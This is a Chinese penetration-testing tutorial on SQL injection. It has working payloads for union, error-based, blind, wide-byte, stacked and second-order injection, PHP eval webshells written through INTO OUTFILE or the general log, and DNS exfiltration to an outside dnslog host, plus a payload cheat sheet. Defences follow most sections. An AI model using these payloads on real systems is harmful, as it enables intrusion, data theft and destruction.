目录
[1. 渗透测试概念](#1. 渗透测试概念)
[2. 渗透测试类型](#2. 渗透测试类型)
[3. 安全漏洞生命周期](#3. 安全漏洞生命周期)
[4. 法律与授权](#4. 法律与授权)
[5. 漏洞库](#5. 漏洞库)
[6. 渗透测试流程](#6. 渗透测试流程)
[7. 主流工具](#7. 主流工具)
[8. 专业术语](#8. 专业术语)
[1. 靶场推荐](#1. 靶场推荐)
[2. 环境要求](#2. 环境要求)
[3. 常见问题解决](#3. 常见问题解决)
[1. 登录爆破(暴力破解)](#1. 登录爆破(暴力破解))
[2. 验证码绕过](#2. 验证码绕过)
[四、联合查询注入(Union-based SQL Injection)](#四、联合查询注入(Union-based SQL Injection))
[1. 注入点类型判断](#1. 注入点类型判断)
[2. 确定字段数(ORDER BY)](#2. 确定字段数(ORDER BY))
[3. 确定回显位置(UNION SELECT)](#3. 确定回显位置(UNION SELECT))
[4. 查询数据库名](#4. 查询数据库名)
[5. 查询所有表名](#5. 查询所有表名)
[6. 查询某表的列名](#6. 查询某表的列名)
[7. 查询数据](#7. 查询数据)
[8. 防御措施](#8. 防御措施)
[1. 前提条件](#1. 前提条件)
[2. 查看 secure_file_priv](#2. 查看 secure_file_priv)
[3. 写入一句话木马(INTO OUTFILE)](#3. 写入一句话木马(INTO OUTFILE))
[4. 写入二进制木马(INTO DUMPFILE)](#4. 写入二进制木马(INTO DUMPFILE))
[5. 利用通用日志写入(当 secure_file_priv 受限时)](#5. 利用通用日志写入(当 secure_file_priv 受限时))
[6. 连接 Webshell](#6. 连接 Webshell)
[7. 防御措施](#7. 防御措施)
[六、错误注入(Error-based SQL Injection)](#六、错误注入(Error-based SQL Injection))
[1. 原理](#1. 原理)
[2. 常用函数](#2. 常用函数)
[(3)floor() + group by 报错(主键重复)](#(3)floor() + group by 报错(主键重复))
[3. 长度限制](#3. 长度限制)
[4. 适用条件](#4. 适用条件)
[5. 防御](#5. 防御)
[七、更新注入(UPDATE Injection)](#七、更新注入(UPDATE Injection))
[1. 定义](#1. 定义)
[2. 原理](#2. 原理)
[3. 常见攻击手法](#3. 常见攻击手法)
[(4)利用 RETURNING 或 OUTPUT 子句(PostgreSQL / SQL Server)](#(4)利用 RETURNING 或 OUTPUT 子句(PostgreSQL / SQL Server))
[4. 危害](#4. 危害)
[5. 防御措施](#5. 防御措施)
[6. 检测方法](#6. 检测方法)
[八、布尔盲注(Boolean-based Blind SQL Injection)](#八、布尔盲注(Boolean-based Blind SQL Injection))
[1. 原理](#1. 原理)
[2. 常用函数](#2. 常用函数)
[3. 步骤](#3. 步骤)
[4. 效率优化](#4. 效率优化)
[5. 防御](#5. 防御)
[九、时间盲注(Time-based Blind SQL Injection)](#九、时间盲注(Time-based Blind SQL Injection))
[1. 原理](#1. 原理)
[2. 常用延时函数](#2. 常用延时函数)
[3. 示例](#3. 示例)
[4. 效率](#4. 效率)
[5. 防御](#5. 防御)
[十、宽字节注入(Wide-Byte Injection)](#十、宽字节注入(Wide-Byte Injection))
[1. 原理](#1. 原理)
[2. 触发条件](#2. 触发条件)
[3. 示例](#3. 示例)
[4. 防御](#4. 防御)
[十一、堆叠注入(Stacked Queries Injection)](#十一、堆叠注入(Stacked Queries Injection))
[1. 原理](#1. 原理)
[2. 示例](#2. 示例)
[3. 常用Payload](#3. 常用Payload)
[4. 限制](#4. 限制)
[5. 防御](#5. 防御)
[十二、URL解码注入(URL Decode Injection)](#十二、URL解码注入(URL Decode Injection))
[1. 原理](#1. 原理)
[2. 典型错误代码](#2. 典型错误代码)
[3. 攻击过程](#3. 攻击过程)
[4. 典型Payload](#4. 典型Payload)
[5. 防御](#5. 防御)
[十三、二次注入(Second-Order Injection)](#十三、二次注入(Second-Order Injection))
[1. 原理](#1. 原理)
[2. 典型场景](#2. 典型场景)
[3. 检测方法](#3. 检测方法)
[4. 防御](#4. 防御)
[十四、DNS外带注入(DNS Exfiltration)](#十四、DNS外带注入(DNS Exfiltration))
[1. 原理](#1. 原理)
[2. 前提条件](#2. 前提条件)
[3. 基本语法](#3. 基本语法)
[(2)使用 //(部分环境也可)](#(2)使用 //(部分环境也可))
[4. 结合联合查询(当有回显位但数据被截断)](#4. 结合联合查询(当有回显位但数据被截断))
[5. 分段外带](#5. 分段外带)
[6. DNSlog平台使用步骤](#6. DNSlog平台使用步骤)
[7. 其他数据库的DNS外带](#7. 其他数据库的DNS外带)
[8. 限制与注意事项](#8. 限制与注意事项)
[9. 防御措施](#9. 防御措施)
一、渗透测试基础扫盲
1. 渗透测试概念
-
定义:经授权模拟真实攻击,发现系统安全漏洞并给出修复建议。
-
与漏洞扫描区别:渗透测试验证漏洞可利用性,深度大,误报低。
-
核心价值:主动防御、合规要求(等保2.0、PCI-DSS)、安全投资回报。
2. 渗透测试类型
-
黑盒测试:无内部信息,模拟外部黑客。
-
白盒测试:有源码、架构图,深度审计。
-
灰盒测试:部分信息,效率与真实性平衡。
-
外部测试:测试公网资产。
-
内部测试:模拟内网失陷或内部威胁。
-
盲测:安全团队不知情,检验响应能力。
-
双盲测:双方均不知情,最真实。
3. 安全漏洞生命周期
发现 → 私有利用 → 公开泄露 → 大规模利用 → 补丁发布 → 消亡
4. 法律与授权
-
必须获得书面授权,否则违反《刑法》第285/286条。
-
授权书应包含:测试范围、时间、规则、紧急联系人。
-
非法测试可能被判刑(如袁炜案、刘某案)。
5. 漏洞库
-
国内:CNNVD、CNVD、补天、漏洞盒子。
-
国际:CVE、NVD、Exploit-DB、CWE。
6. 渗透测试流程
-
信息收集(被动+主动)
-
漏洞探测(扫描+手动)
-
漏洞利用(获取权限)
-
后渗透与提权
-
持久化与控制
-
清理痕迹
-
报告输出
7. 主流工具
-
信息收集:Nmap、Masscan、Gobuster、Shodan
-
漏洞扫描:AWVS、Nessus、OpenVAS
-
漏洞利用:Metasploit、Burp Suite、SQLmap
-
后渗透:Mimikatz、LinPEAS、Cobalt Strike
8. 专业术语
-
POC:证明漏洞存在的概念代码。
-
EXP:完整利用代码。
-
Payload:核心执行代码(如反弹Shell)。
-
Webshell:网页后门。
-
提权:从低权限提升到管理员。
-
横向移动:内网中跳板攻击。
二、渗透测试环境搭建
1. 靶场推荐
-
DVWA(Damn Vulnerable Web Application)
-
Pikachu(国产漏洞练习平台)
-
SQLi-LABS(SQL注入专项)
-
Webug(综合漏洞平台)
-
VulHub(Docker化漏洞环境)
2. 环境要求
-
LAMP(Linux + Apache + MySQL + PHP)或 LNMP
-
虚拟机:VMware / VirtualBox,推荐 CentOS 7 / Ubuntu 20.04
-
数据库配置:
-
secure_file_priv需根据需求设置(为空可读写任意路径,NULL禁止) -
用户权限最小化
-
3. 常见问题解决
-
MySQL启动失败:查看日志
/var/log/mysqld.log -
连接超时:检查防火墙、SELinux、bind-address
-
文件读写权限:
chmod 777测试目录,setenforce 0关闭SELinux
三、登录爆破与验证码绕过
1. 登录爆破(暴力破解)
-
原理:自动化尝试大量用户名/密码组合。
-
工具:
-
Burp Suite Intruder(Web表单)
-
Hydra(多协议:SSH、FTP、RDP)
-
Medusa(并行爆破)
-
-
字典:
-
常用用户名:admin, root, test, guest, user
-
常用密码:123456, password, admin123, qwerty
-
-
手法:
-
密码喷洒:一个密码尝试多个用户名。
-
用户名枚举:通过注册/忘记密码接口判断用户名是否存在。
-
-
防御:
-
账户锁定(连续失败N次后锁定T时间)
-
延迟响应(固定延迟1-3秒)
-
二次验证(验证码、短信、生物识别)
-
双因素认证(2FA)
-
2. 验证码绕过
(1)常见绕过方法
| 类型 | 描述 | 利用方式 |
|---|---|---|
| 可重复使用 | 验证码使用后未销毁 | 同一个验证码多次提交 |
| 无效校验 | 后端未严格校验 | 删除验证码参数或传空值 |
| 图形验证码识别 | 简单验证码可被OCR识别 | Tesseract、打码平台(超级鹰) |
| 短信/邮箱验证码 | 4-6位数字,无频率限制 | Burp Intruder枚举 |
| 验证码泄露 | 返回在HTTP响应中 | 抓包查看 |
| 逻辑缺陷 | 清空验证码值即可绕过 | captcha= |
(2)防御措施
-
验证码一次性使用,与session绑定。
-
增加复杂度:扭曲、噪点、干扰线、背景混淆。
-
行为验证:滑动拼图、点选文字(极验)。
-
频率限制:同一IP/账户每分钟最多5次请求。
-
短信验证码:5分钟有效期,每日限制发送次数。
四、联合查询注入(Union-based SQL Injection)
1. 注入点类型判断
-
字符型 :输入
1'报错 →1' and '1'='1正常 → 字符型。 -
数字型 :输入
1 and 1=1正常 →1 and 1=2异常 → 数字型。
2. 确定字段数(ORDER BY)
1' ORDER BY 1 -- 1' ORDER BY 2 -- ... 1' ORDER BY n -- // 当n超过实际列数时报错
- 示例:
1' ORDER BY 3 --正常,1' ORDER BY 4 --报错 → 共有3列。
3. 确定回显位置(UNION SELECT)
-1' UNION SELECT 1,2,3 --
- 页面中显示的数字(如1,2,3)即为回显位置,后续将查询替换到这些位置。
4. 查询数据库名
-1' UNION SELECT database(),2,3 --
5. 查询所有表名
-1' UNION SELECT group_concat(table_name),2,3 FROM information_schema.tables WHERE table_schema=database() --
6. 查询某表的列名
-1' UNION SELECT group_concat(column_name),2,3 FROM information_schema.columns WHERE table_name='users' --
7. 查询数据
-1' UNION SELECT group_concat(concat(username,':',password)),2,3 FROM users --
8. 防御措施
-
参数化查询(预编译) :
$stmt = $conn->prepare("SELECT ... WHERE id = ?"); -
输入过滤 :数字型用
intval(),字符串白名单。 -
最小权限:数据库账户仅允许必要查询。
五、木马植入(MySQL读写文件)
1. 前提条件
-
MySQL全局变量
secure_file_priv为空(允许任意路径读写)。 -
当前数据库用户拥有
FILE权限。 -
已知网站绝对路径(如
/var/www/html/)。 -
目标目录具有MySQL进程(
mysql用户)写权限。
2. 查看 secure_file_priv
SHOW VARIABLES LIKE 'secure_file_priv';
-
值为
NULL→ 禁止读写。 -
值为路径 → 只能读写该目录。
-
值为空 → 无限制。
3. 写入一句话木马(INTO OUTFILE)
SELECT '<?php @eval($_POST["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
结合联合查询:
id=1' UNION SELECT 1,2,'<?php @eval($_POST["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php' --
- 注意 :
INTO OUTFILE不能覆盖已存在的文件,需确保目标文件不存在。
4. 写入二进制木马(INTO DUMPFILE)
将PHP代码转换为十六进制(使用 HEX() 或手动):
SELECT 0x3c3f70687020406576616c28245f504f53545b22636d64225d293b203f3e INTO DUMPFILE '/var/www/html/shell.php';
0x3c3f...对应<?php @eval($_POST["cmd"]); ?>。
5. 利用通用日志写入(当 secure_file_priv 受限时)
-- 开启日志 SET GLOBAL general_log = 'ON'; -- 设置日志文件路径为Web目录 SET GLOBAL general_log_file = '/var/www/html/shell.php'; -- 执行含木马的查询 SELECT '<?php @eval($_POST["cmd"]); ?>'; -- 关闭日志 SET GLOBAL general_log = 'OFF';
- 要求 :需要
SUPER权限。
6. 连接 Webshell
-
使用中国蚁剑 、冰蝎 、菜刀 连接
http://target.com/shell.php,密码cmd。 -
或直接POST数据:
cmd=system('whoami');
7. 防御措施
-
设置
secure_file_priv=NULL。 -
数据库用户禁用
FILE、SUPER权限。 -
Web目录权限设置为仅Web服务用户可写,MySQL用户不可写。
-
定期扫描Web目录可疑文件。
六、错误注入(Error-based SQL Injection)
1. 原理
利用数据库返回的错误信息,将查询结果拼接到错误消息中。
2. 常用函数
(1)extractvalue()
1' AND extractvalue(1, concat(0x7e, (子查询), 0x7e)) -- -
-
示例:获取数据库名
1' AND extractvalue(1, concat(0x7e, database(), 0x7e)) -- - -
报错:
XPATH syntax error: '~security~'
(2)updatexml()
1' AND updatexml(1, concat(0x7e, (子查询), 0x7e), 1) -- -
(3)floor() + group by 报错(主键重复)
1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(database(), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a) -- -
- 报错:
Duplicate entry 'security1' for key 'group_key'
3. 长度限制
-
extractvalue和updatexml只返回约32字符。 -
使用
substring()分段:1' AND extractvalue(1, concat(0x7e, substring((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()), 1, 31), 0x7e)) -- -
4. 适用条件
-
Web应用开启错误回显(
display_errors=On)。 -
错误未被自定义页面屏蔽。
5. 防御
-
关闭错误回显。
-
使用参数化查询。
七、更新注入(UPDATE Injection)
1. 定义
更新注入是指攻击者利用Web应用中存在SQL注入漏洞的 UPDATE 语句,通过构造恶意输入修改数据库中的记录,甚至可能利用子查询或报错函数窃取数据。
2. 原理
应用程序在更新数据时,采用字符串拼接方式构造 UPDATE 语句,且未对用户输入进行过滤或参数化。例如:
$sql = "UPDATE users SET password = '".$_POST['new_pwd']."' WHERE username = '".$_SESSION['user']."'";
攻击者可在密码字段中注入额外的SQL代码,改变原始语句的语义。
3. 常见攻击手法
(1)越权修改其他用户数据
通过闭合字符串并添加新的 WHERE 条件,修改其他用户的字段。
-- 正常密码输入:123456 -- 恶意输入:123456', password = 'hacked' WHERE username = 'admin' --
拼接后SQL:
UPDATE users SET password = '123456', password = 'hacked' WHERE username = 'admin' -- ' WHERE username = '当前用户'
结果:管理员 admin 的密码被改为 hacked。
(2)利用报错注入提取数据(MySQL)
在 UPDATE 语句中插入 extractvalue 或 updatexml,将查询结果通过报错信息带出。
UPDATE users SET password = '' OR extractvalue(1, concat(0x7e, database())) OR '' WHERE username = 'admin';
若页面显示数据库错误,则会暴露当前数据库名。
(3)时间盲注(无回显时)
利用 IF 条件结合 SLEEP,根据响应时间推断数据。l
UPDATE users SET token = '' WHERE id = 1 AND IF(ASCII(SUBSTRING(database(),1,1)) > 100, SLEEP(5), 0);
(4)利用 RETURNING 或 OUTPUT 子句(PostgreSQL / SQL Server)
某些数据库支持 RETURNING,可将更新后的数据或子查询结果直接返回。
-- PostgreSQL UPDATE users SET email = 'new@example.com' WHERE username = 'admin' RETURNING (SELECT usename FROM pg_user);
如果应用将返回值显示在页面上,则可窃取数据。
(5)批量修改或破坏数据
若注入点可以注释掉 WHERE 条件,则可能更新全表。
-- 密码字段输入:123456', email = 'attacked' --
拼接后:
UPDATE users SET password = '123456', email = 'attacked' -- ' WHERE username = 'user'
所有用户的邮箱被修改。
4. 危害
-
越权:修改其他用户的密码、邮箱、权限等。
-
数据破坏:将关键字段置空或篡改业务数据。
-
信息泄露:结合报错或时间盲注提取数据库内容。
-
权限提升 :将普通用户的
role字段改为admin。
5. 防御措施
-
参数化查询(预编译) :
UPDATE语句也必须使用参数化。$stmt = $conn->prepare("UPDATE users SET password = ? WHERE username = ?"); $stmt->bind_param("ss", $newpass, $username); -
最小权限原则 :数据库用户只授予必需的
UPDATE权限(可限制特定列)。 -
输入验证:对更新内容进行类型校验和白名单过滤。
-
禁用危险函数 :如
extractvalue、updatexml等(可在数据库层面禁用或过滤)。 -
使用ORM框架:自动参数化。
6. 检测方法
-
黑盒 :在可修改的字段中输入
'或' OR '1'='1,观察是否出现数据库错误或越权修改。 -
白盒 :搜索代码中拼接的
UPDATE语句,检查是否使用了参数化查询。
八、布尔盲注(Boolean-based Blind SQL Injection)
1. 原理
页面根据SQL条件真假显示不同内容(如"存在" vs "不存在"),通过构造布尔表达式逐字符猜解。
2. 常用函数
-
LENGTH(str):返回长度。 -
SUBSTR(str, pos, len):截取子串。 -
ASCII(char):返回ASCII码。
3. 步骤
(1)判断长度
1' AND LENGTH(database()) = 8 --
如果页面正常(真),则长度为8;否则调整数值。
(2)猜解字符(二分法)
1' AND ASCII(SUBSTRING(database(),1,1)) > 100 --
-
页面正常 → ASCII > 100,缩小范围到101-127。
-
页面异常 → ASCII ≤ 100,缩小范围到32-100。
-
最终确定具体值,如
115对应字符's'。
(3)重复猜解第2、3...字符
1' AND ASCII(SUBSTRING(database(),2,1)) = 101 --
4. 效率优化
-
二分查找:每个字符约7-8次请求。
-
脚本自动化:Python、Burp Intruder。
-
工具 :sqlmap (
--technique=B)
5. 防御
-
统一错误页面,使真假条件返回相同内容。
-
参数化查询(根本)。
九、时间盲注(Time-based Blind SQL Injection)
1. 原理
页面无任何内容差异,利用数据库延时函数(如 SLEEP),根据响应时间推断条件真假。
2. 常用延时函数
-
MySQL :
SLEEP(seconds),BENCHMARK(count, expr) -
SQL Server :
WAITFOR DELAY '0:0:5' -
PostgreSQL :
pg_sleep(seconds)
3. 示例
(1)判断长度
1' AND IF(LENGTH(database())=8, SLEEP(5), 0) --
-
响应延迟5秒 → 长度为8。
-
立即响应 → 长度不是8。
(2)猜解第一个字符
1' AND IF(ASCII(SUBSTRING(database(),1,1)) > 100, SLEEP(5), 0) --
- 延迟5秒 → ASCII > 100;否则 ≤100。
4. 效率
极慢,每个字符需要多次5秒等待,通常完全依赖自动化工具(sqlmap)。
5. 防御
-
禁用延时函数(不现实)。
-
参数化查询。
十、宽字节注入(Wide-Byte Injection)
1. 原理
当数据库使用GBK、GB2312等多字节字符集时,addslashes 添加的反斜杠 \(ASCII 0x5c)与输入中的某个字节(如 %df)组合成一个合法汉字(%df%5c = 運),从而"吃掉"反斜杠,使得后面的单引号恢复元字符功能,导致注入。
2. 触发条件
-
数据库连接执行
SET NAMES 'gbk'(或类似)。 -
应用程序使用
addslashes或mysql_real_escape_string转义。 -
用户输入包含宽字节字符(如
%df、%bf、%e5)。
3. 示例
正常输入 1' 会被转义为 1\',无法注入。 攻击者输入:1%df' 过程:
-
addslashes处理:1%df\'→ 实际字节序列:31 df 5c 27 -
GBK字符集中,
df 5c组成一个汉字運,反斜杠被消耗。 -
剩下的
27即为单引号,成功闭合原SQL。
Payload:
http://example.com/page.php?id=1%df' UNION SELECT 1,2,3 --
4. 防御
-
统一使用UTF-8字符集 (UTF-8中
%df%5c不是有效多字节字符,反斜杠不会被消耗)。 -
参数化查询(根本解决)。
十一、堆叠注入(Stacked Queries Injection)
1. 原理
使用分号 ; 结束当前SQL语句,然后执行另一条或多条SQL语句。需要数据库驱动支持多语句执行(如 PHP 的 mysqli_multi_query())。
2. 示例
1; DELETE FROM users WHERE id=2 --
拼接后SQL:
SELECT * FROM users WHERE id=1; DELETE FROM users WHERE id=2 -- '
- 第一条查询正常执行,第二条删除数据。
3. 常用Payload
-
插入后门:
1; INSERT INTO users (username, password) VALUES ('hacker', 'pass') -- -
修改密码:
1; UPDATE users SET password='newpass' WHERE username='admin' -- -
创建表:
1; CREATE TABLE backdoor (cmd TEXT) -- -
延时探测:
1; SELECT SLEEP(5) --
4. 限制
-
并非所有环境支持:PHP 的
mysql_query()不支持多语句,mysqli_multi_query()支持。 -
通常用于破坏或提权,而非数据窃取(无回显)。
5. 防御
-
禁用多语句执行函数(不使用
multi_query)。 -
参数化查询(同样有效)。
十二、URL解码注入(URL Decode Injection)
1. 原理
Web服务器会自动对URL参数进行一次解码(%XX → 字符)。如果应用程序再次手动调用 urldecode() 或 rawurldecode(),就会产生二次解码。攻击者利用双重编码(如 %2527)绕过转义函数。
2. 典型错误代码
$id = addslashes($_GET['id']); // 先转义 $id = urldecode($id); // 再次解码 ← 危险 $sql = "SELECT * FROM users WHERE id='$id'";
3. 攻击过程
-
用户输入:
1%2527(%25是%的编码,%27是'的编码) -
Web服务器自动解码一次 →
1%27 -
addslashes处理1%27:%不是特殊字符,所以不变 → 仍是1%27 -
urldecode再次解码 →1' -
最终SQL:
... WHERE id='1''→ 注入成功
4. 典型Payload
1%2527 union select database() %23
(%23 是 # 注释符)
5. 防御
-
不要手动解码URL参数 :
$_GET、$_POST已经自动解码,禁止调用urldecode。 -
使用参数化查询。
十三、二次注入(Second-Order Injection)
1. 原理
攻击者首先在一个输入点(如注册、评论)提交包含SQL元字符的字符串,该字符串被安全存储 到数据库(如使用 addslashes 或参数化)。然后在另一个功能(如修改密码、个人资料)中,应用程序从数据库取出该字符串并直接拼接到SQL语句(未再次过滤),从而触发注入。
2. 典型场景
(1)注册恶意用户
用户名:admin' -- 注册时SQL:
INSERT INTO users (username, password) VALUES ('admin\' --', '123456')
由于转义,用户名被安全存储为 admin' --(反斜杠不进入数据库)。
(2)修改密码(触发)
修改密码时SQL:
UPDATE users SET password='newpass' WHERE username='admin' -- '
-- 注释了后面的内容,实际执行:
UPDATE users SET password='newpass' WHERE username='admin'
成功修改管理员密码。
3. 检测方法
-
在可存储的位置输入
test' OR '1'='1,然后访问可能使用该数据的页面(如个人主页),观察是否出现越权或异常。 -
白盒审计:追踪从数据库取出的数据是否被拼接到SQL。
4. 防御
-
所有SQL操作使用参数化查询,无论数据来自用户输入还是数据库。
-
即使从数据库取出数据,也要转义或类型转换(但参数化更好)。
十四、DNS外带注入(DNS Exfiltration)
1. 原理
当数据库无直接回显时,利用 LOAD_FILE() 函数(或其它能发起网络请求的函数)向攻击者控制的DNS服务器发起域名解析请求,并将查询结果拼接到子域名中。攻击者通过DNSlog平台记录的子域名获取数据。
2. 前提条件
-
MySQL配置
secure_file_priv为空。 -
数据库服务器为 Windows 系统(UNC路径依赖)。
-
数据库用户拥有
FILE权限。 -
目标服务器能够向公网发起DNS请求。
3. 基本语法
(1)UNC路径格式(Windows)
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.your-dnslog.com\\a'));
-
\\\\是UNC路径的起始,实际为\\。 -
域名中的点
.不能少。
(2)使用 //(部分环境也可)
SELECT LOAD_FILE(CONCAT('//', (SELECT database()), '.your-dnslog.com/1.txt'));
4. 结合联合查询(当有回显位但数据被截断)
id=1' UNION SELECT 1, LOAD_FILE(CONCAT('//', (SELECT database()), '.dnslog.cn/1.txt')), 3 --
5. 分段外带
域名每段最长63字符,总长不超过253。长数据需用 SUBSTR() 分段。
SELECT LOAD_FILE(CONCAT('//', SUBSTR((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security'), 1, 30), '.dnslog.cn/1.txt'));
- 第一次取1-30字符,第二次取31-60,依此类推。
6. DNSlog平台使用步骤
-
访问
http://dnslog.cn或http://ceye.io,获取一个子域名(如abc123.dnslog.cn)。 -
构造SQL语句,将待查询数据拼接到子域名前面(如
database().abc123.dnslog.cn)。 -
执行SQL,目标服务器发起DNS查询。
-
刷新DNSlog平台页面,查看记录,提取数据。
7. 其他数据库的DNS外带
-
MSSQL :
xp_dirtreeDECLARE @a VARCHAR(2000); SET @a = CONCAT('\\', (SELECT db_name()), '.dnslog.cn\\a'); EXEC master..xp_dirtree @a; -
Oracle :
UTL_INADDR.GET_HOST_ADDRESSSELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT banner FROM v$version WHERE rownum=1)||'.dnslog.cn') FROM DUAL; -
PostgreSQL :
COPY或dblink
8. 限制与注意事项
-
数据中不能有特殊字符(如
_,-可以,但!,@,#不行)。建议使用HEX()编码后外带,再解码。 -
域名长度有限,需分段。
-
部分WAF会拦截
LOAD_FILE、UNC路径,可尝试编码或混淆。
9. 防御措施
-
设置
secure_file_priv=NULL(禁止LOAD_FILE读取网络路径)。 -
限制数据库服务器出站DNS请求(仅允许与内部DNS通信)。
-
使用参数化查询。
附录:常用Payload速查表
| 目的 | Payload |
|---|---|
| 判断字符型注入 | 1' and '1'='1 |
| 判断数字型注入 | 1 and 1=1 |
| 联合查询-字段数 | 1' ORDER BY 3 -- |
| 联合查询-数据库 | -1' UNION SELECT database(),2,3 -- |
| 报错注入-数据库 | 1' AND extractvalue(1, concat(0x7e, database(), 0x7e)) -- |
| 布尔盲注-长度 | 1' AND LENGTH(database())=8 -- |
| 时间盲注-延时 | 1' AND IF(1=1, SLEEP(5), 0) -- |
| 宽字节注入 | 1%df' UNION SELECT 1,2,3 -- |
| 堆叠注入 | 1; DROP TABLE users -- |
| URL解码注入 | 1%2527 union select database() %23 |
| 二次注入(注册) | 用户名 admin' -- |
| DNS外带 | SELECT LOAD_FILE(CONCAT('//',database(),'.dnslog.cn/1.txt')) |
| 写Webshell | SELECT '<?php @eval($_POST["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php' |